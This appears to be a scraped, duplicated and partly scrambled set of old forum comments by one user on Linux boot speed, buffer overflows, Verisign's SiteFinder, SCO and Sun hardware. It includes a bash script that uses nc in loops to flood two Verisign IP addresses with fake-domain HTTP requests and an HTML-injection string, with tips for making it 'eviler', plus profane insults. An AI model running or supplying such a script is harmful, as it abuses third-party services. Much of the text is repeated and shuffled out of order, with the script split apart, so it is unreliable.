there are some stages where an init script is waiting for hardware to initialize (USB), or for a network timeout interval, or just plain sleeps to wait for stuff to "settle", and so on.
I highly doubt the parent's CPU load pushes an average of 0.5 during init. If it peaks a lot, then you could gain a little benefit from dual CPU, but not much.
if it was an embedded device you'd ideally set init=/bin/your_main_program and there'd be no initialization sequence. your_main_program could spawn additional processes and configure interfaces at it's discretion, etc.
You'd be using kmod with the dependancies pre-hashed out, or a statically linked kernel, eliminating the need for hardware setup stage. You do all the hard work up front and get it down to a single executable or single shell script that does only what it needs, and that's it.
Makefiles list dependencies, and the commands (shell commands) that you have to run to resolve them.
Using make -j n to run it schedules any operations in parallel (up to n threads), which does blocking on a "dependancy" level.
The scripts must be serial. If not, you'd have a hell of a time writing them.;-)
Best to keep them small, so the total parallelization can improve on a macroscopic level.
I've been doing it since 1999.
on
Booting Linux Faster
·
· Score: 5, Informative
My first linux Mandrake box, I went through and parallelized my rc directories. The trick was to have fake S** entries that spawn off what can be done in parallel.
Albeit makefile based (done by hand), but I was getting my boot times down to 23 seconds on an aging Pentium MMX, with tons of unnecessary services. (I know better know,:-P)
Too bad there wasn't any way I could have done that to Windows 98. It was a DOG!
XP is much better, but it doesn't boot much faster than that fast on my new box even today.
Don't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so many
What are you talking about? Can you name a single network operating system since the late 80s that doesn't use virtual memory with 32-bit or larger pointers?!
Who modded this up?
There is no way in hell you'll cause a pointer to wrap around and come back up since if you write to the page mmaped at 0 on essentially every OS out there you get a page fault (and the OS kills the program, Null pointer exception). And before that you walk all over the pages that are between the break and stack, unallocated, or maybe all over the read-only shared libs, and they all will cause page faults and SIGSEGV your ass into next Tuesday.
Here's krog. Krog allocate automatic variable on stack. Stack grow downward. Data fills from lower to upper address (opposite stack growingness). Krog no check length of input. Krog overwrite stack not belonging to his stack frame (previous call). Ooomba, clever hacker, he know offset to return address in leaky function. OOmba, he sendum nasty input Krog no check length on that overwrite return address. When function return, it jump back into buffer instead of last function. Buffer gottem nasty root shell code, not data.
Krog sad.
Ooomba does happy dance.
Yes. Check your inputs.
YES DONT ASSUME YOU KNOW ANYTHING ABOUT HOW LARGE A BUFFER IS
YES, FOR GODS SAKE PEOPLE, NEVER ALLOCATE BUFFERS AS AUTOMATIC VARIABLES ON THE STACK!!! ARE YOU INSANE!!!!!!!!>?>>>>>>>
#!/bin/bash # #Replace dumbwordlist if you like with nonsense #that will be used to fill up Verisign's database #with useless crap. #To make it eviler, remove the $((RANDOM%10)) parts, #or maybe wrap the inner loops with an outer loop that #picks a random postfix and asks for all of the #domains ending, with that prefix, 10 times or so. #Since the stuff should get asked for repeatedly, #maybe they'll get "false positives". # #Also note that this simulates the first request to #the siteverifier page, which sends a redirect to the #real page with the ads and links on it. We ignore it #and send the second request, knowing full well what #the first one looked like. Hopefully this "seems" #legitimate on their end. # #Your ISP may have already null-routed 64.94.110.11; #if so this script will hang with no output. #To remedy, remove the first nc command (up to the first # %%EOF%%). Leave the second one, as it appears #that one is still visible. If both are invisible, your #ISP has _really_ gone the distance to piss of Verisign # #Kudos!
for each in $dumbwordlist; do for eachi in $dumbwordlist; do fakedom=$each$((RANDOM%10))$eachi$((RANDOM%10)); nc 64.94.110.11 80 <<%%EOF%% GET/${fakedom} HTTP/1.1 Host: ${fakedom}.com Pragma: no-cache Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
It has to do with trying to get Microsoft to support a cross-platform framework for plugin architectures.
You know, anything besides ActiveX or poorly abstracted APIs of the.Net framework.
Christ, everyone's got their panties in a bundle about this. The only entity who needs to worry is Microsoft (and Sun, maybe, if they keep being assholes about Java interoperability standards)
Scroll about 2/3rds down the page or search for "Spanish".
He came in second in his category (Physics). He was beat by about 40-some-odd other students altogether, and tied with a hundred or so.
What beat him? Phase transition in chaotic fluids, Identifying genes with neural networks, Investigation into geothermal activity on Venus Silencing cancer with RNA Novel asteroid distance determination technique Capstone: Brain-computer interface for the disabled.
He may have not gotten as high marks because he wasn't really discovering anything new or pursuing a topic from a strange angle... it was a humoungous task of engineering, however, and this could not be overlooked.
Let's define reserved bit 3 in RCODE to be the "evil bit".
So if a patched named resolves a domain to an IP node on a DNS-tomfoolery blacklist, it returns 11 instead of 3, ie. FUCK_VERISIGN instead of NXDOMAIN.
libresolv on Solaris, glibc, etc. should be modified accordingly. Perhaps an environment variable determines the behavior: default is to map non-existant, of course.
You really want mandatory locks, which not even root can break. you can set the behavior per-file, as well. It seems to work circa 2000 (Mandrake 7.2) as I just tried it on said box. Any questions?
As far as "hobbyist" OSs go, you do realize Solaris has the same limitation (but doesn't have the mandatory lock extension). So Solaris is a hobbyist OS, right, cuntwhack?
Sun may already be ahead of the game here(!)
on
Grid Processing
·
· Score: 3, Informative
SCO needs an Eric or a Bruce and they can't get one.
Mr. Nauvek isn't kidding, SCO's press releases are just echoing back what Perens, or what that Groklaw guys say in twisted words. Let's just not talk about SCO anymore. We're just giving them ideas for press releases that pump up their stock price.
What bloggers, online comic strip authors, etc. need is a system set up like Adult Pass or SexKey. (No links, use google find it when you're at home, not work.)
Like the telco model mentioned earlier, you join, pay a low monthly fee and all member sites get a cut. You don't get an itemized bill, but that may not even be worth thinking about. SexKey just has to make sure that it's cash flow is positive, and that member sites are getting their requisite amounts of payback depending on membership class.
No mental transaction cost... you can't think about that kind of thing when you've got you're mashing your joystick.
there are some stages where an init script is waiting for hardware to initialize (USB), or for a network timeout interval, or just plain sleeps to wait for stuff to "settle", and so on.
I highly doubt the parent's CPU load pushes an average of 0.5 during init. If it peaks a lot, then you could gain a little benefit from dual CPU, but not much.
if it was an embedded device you'd ideally set init=/bin/your_main_program and there'd be no initialization sequence. your_main_program could spawn additional processes and configure interfaces at it's discretion, etc.
You'd be using kmod with the dependancies pre-hashed out, or a statically linked kernel, eliminating the need for hardware setup stage.
You do all the hard work up front and get it down to a single executable or single shell script that does only what it needs, and that's it.
you use make -j (some sane number)
;-)
Makefiles list dependencies, and the commands (shell commands) that you have to run to resolve them.
Using make -j n to run it schedules any operations in parallel (up to n threads), which does blocking on a "dependancy" level.
The scripts must be serial. If not, you'd have a hell of a time writing them.
Best to keep them small, so the total parallelization can improve on a macroscopic level.
My first linux Mandrake box, I went through and parallelized my rc directories. The trick was to have fake S** entries that spawn off what can be done in parallel.
:-P)
Albeit makefile based (done by hand), but I was getting my boot times down to 23 seconds on an aging Pentium MMX, with tons of unnecessary services. (I know better know,
Too bad there wasn't any way I could have done that to Windows 98. It was a DOG!
XP is much better, but it doesn't boot much faster than that fast on my new box even today.
Oh wait, that wasn't it.
GODDAMNIT!
...the produce floor won't suddenly explode if someone isn't watching it like a hawk.
::manic laughter:: ;-}
Hehehe... he doesn't suspect a thing.
So I can chop me up some FUNNY PEOPLE and make a FUNNY PEOPLE STEW.
Not so funny now, Star Wars joke man, inside my gut, eh?
I KNEW
SOMEONE
JUST HAD TO SAY
THAT!!!!!!
DIE!!!!!!!!!!
Don't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so manyDon't use so many
What are you talking about? Can you name a single network operating system since the late 80s that doesn't use virtual memory with 32-bit or larger pointers?!
Who modded this up?
There is no way in hell you'll cause a pointer to wrap around and come back up since if you write to the page mmaped at 0 on essentially every OS out there you get a page fault (and the OS kills the program, Null pointer exception). And before that you walk all over the pages that are between the break and stack, unallocated, or maybe all over the read-only shared libs, and they all will cause page faults and SIGSEGV your ass into next Tuesday.
Here's krog. Krog allocate automatic variable on stack. Stack grow downward. Data fills from lower to upper address (opposite stack growingness). Krog no check length of input. Krog overwrite stack not belonging to his stack frame (previous call). Ooomba, clever hacker, he know offset to return address in leaky function. OOmba, he sendum nasty input Krog no check length on that overwrite return address. When function return, it jump back into buffer instead of last function. Buffer gottem nasty root shell code, not data.
Krog sad.
Ooomba does happy dance.
Yes. Check your inputs.
YES DONT ASSUME YOU KNOW ANYTHING ABOUT HOW LARGE A BUFFER IS
YES, FOR GODS SAKE PEOPLE, NEVER ALLOCATE BUFFERS AS AUTOMATIC VARIABLES ON THE STACK!!! ARE YOU INSANE!!!!!!!!>?>>>>>>>
#!/bin/bash
/${fakedom} HTTP/1.1
/lpc?url='%3E%3Cfont%20size=+5%20color=%23FF0000%3 E\
#
#Replace dumbwordlist if you like with nonsense
#that will be used to fill up Verisign's database
#with useless crap.
#To make it eviler, remove the $((RANDOM%10)) parts,
#or maybe wrap the inner loops with an outer loop that
#picks a random postfix and asks for all of the
#domains ending, with that prefix, 10 times or so.
#Since the stuff should get asked for repeatedly,
#maybe they'll get "false positives".
#
#Also note that this simulates the first request to
#the siteverifier page, which sends a redirect to the
#real page with the ads and links on it. We ignore it
#and send the second request, knowing full well what
#the first one looked like. Hopefully this "seems"
#legitimate on their end.
#
#Your ISP may have already null-routed 64.94.110.11;
#if so this script will hang with no output.
#To remedy, remove the first nc command (up to the first
# %%EOF%%). Leave the second one, as it appears
#that one is still visible. If both are invisible, your
#ISP has _really_ gone the distance to piss of Verisign
#
#Kudos!
dumbwordlist="rem0te br4nd sar1n flau7a mickst3r robbi3 ch3my jjopppl fuckkksl ncmaster df753 klopuier beeiosla cuntwh4ccker openinsertcl oofignet phaconspal qrrtioe sumnsan rx30sony popopospospposp llqksjajjq0 aslashji aklhjk3421 halff liveees ttooowo toowoo aslllkoq"
for each in $dumbwordlist;
do
for eachi in $dumbwordlist;
do fakedom=$each$((RANDOM%10))$eachi$((RANDOM%10));
nc 64.94.110.11 80 <<%%EOF%%
GET
Host: ${fakedom}.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
%%EOF%%
nc 12.158.80.10 80 <<%%EOF%%
GET
VERISIGN%20SUCKS%20MY%20${fakedom}%3C/font%3E HTTP/1.1
Host: sitefinder.verisign.com
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
%%EOF%%
done
done
This has nothing to do with that kinda thing.
.Net framework.
It has to do with trying to get Microsoft to support a cross-platform framework for plugin architectures.
You know, anything besides ActiveX or poorly abstracted APIs of the
Christ, everyone's got their panties in a bundle about this. The only entity who needs to worry is Microsoft (and Sun, maybe, if they keep being assholes about Java interoperability standards)
Scroll about 2/3rds down the page or search for "Spanish".
He came in second in his category (Physics). He was beat by about 40-some-odd other students altogether, and tied with a hundred or so.
What beat him?
Phase transition in chaotic fluids,
Identifying genes with neural networks,
Investigation into geothermal activity on Venus
Silencing cancer with RNA
Novel asteroid distance determination technique
Capstone: Brain-computer interface for the disabled.
He may have not gotten as high marks because he wasn't really discovering anything new or pursuing a topic from a strange angle... it was a humoungous task of engineering, however, and this could not be overlooked.
I've met people who ask me the same thing in real life.
Cuntwhacks, all of them. And you too, tutz.
NOW SUCK MY DICK MOTHERFUCKERS!
Let's define reserved bit 3 in RCODE to be the "evil bit".
So if a patched named resolves a domain to an IP node on a DNS-tomfoolery blacklist, it returns 11 instead of 3, ie. FUCK_VERISIGN instead of NXDOMAIN.
libresolv on Solaris, glibc, etc. should be modified accordingly. Perhaps an environment variable determines the behavior: default is to map non-existant, of course.
You really want mandatory locks, which not even root can break. you can set the behavior per-file, as well. It seems to work circa 2000 (Mandrake 7.2) as I just tried it on said box.
Any questions?
As far as "hobbyist" OSs go, you do realize Solaris has the same limitation (but doesn't have the mandatory lock extension). So Solaris is a hobbyist OS, right, cuntwhack?
Normally I don't pimp Sun, but here's something that makes me think they still have a finger on the pulse of things:
;-)
Read about plans for Sun's "Niagra" core
I understand they hope to create blade systems using high densities of these multiscalar cores for incredible throughput.
There's your parallel/grid computing.
Just look at his name.
:-)
Christ you people have gotten so gullable.
And the parent article is a humor piece... no intelligent discussion allowed!!!
Darl McBride, posting to slashdot? Why even bother trying to respond.
When did slashdot cause you to lose your sense of humor and, more importantly common (troll) sense?
^_^
you've been trolled. Sorry, dude, better luck next time. I hope the karma is enough to make up for it.
Mr. Nauvek isn't kidding,
SCO's press releases are just echoing back what Perens, or what that Groklaw guys say in
twisted words.
Let's just not talk about SCO anymore. We're just giving them ideas for press releases that pump up their stock price.
military simulation software. I don't think guys at Lawerence Livermore Labs work for free, do you?
No seriously, what are you implying? Did you reply to the wrong post?
The wired article is pretty cool (but I'm sure I've read about this before; maybe Discover magazine in a R&D section?)
I wonder how much it'd cost to do my house. ^_^
Okay, put me on your foes list, McBride. I hate your fucking guts.
and used it against a monopolistic company, would you complain then?
(keep in mind this guy is an academic, not a businessman. He's lucky the University went to bat for him)
What bloggers, online comic strip authors, etc. need is a system set up like Adult Pass or SexKey. (No links, use google find it when you're at home, not work.)
Like the telco model mentioned earlier, you join, pay a low monthly fee and all member sites get a cut. You don't get an itemized bill, but that may not even be worth thinking about. SexKey just has to make sure that it's cash flow is positive, and that member sites are getting their requisite amounts of payback depending on membership class.
No mental transaction cost... you can't think about that kind of thing when you've got you're mashing your joystick.
^_^;;;;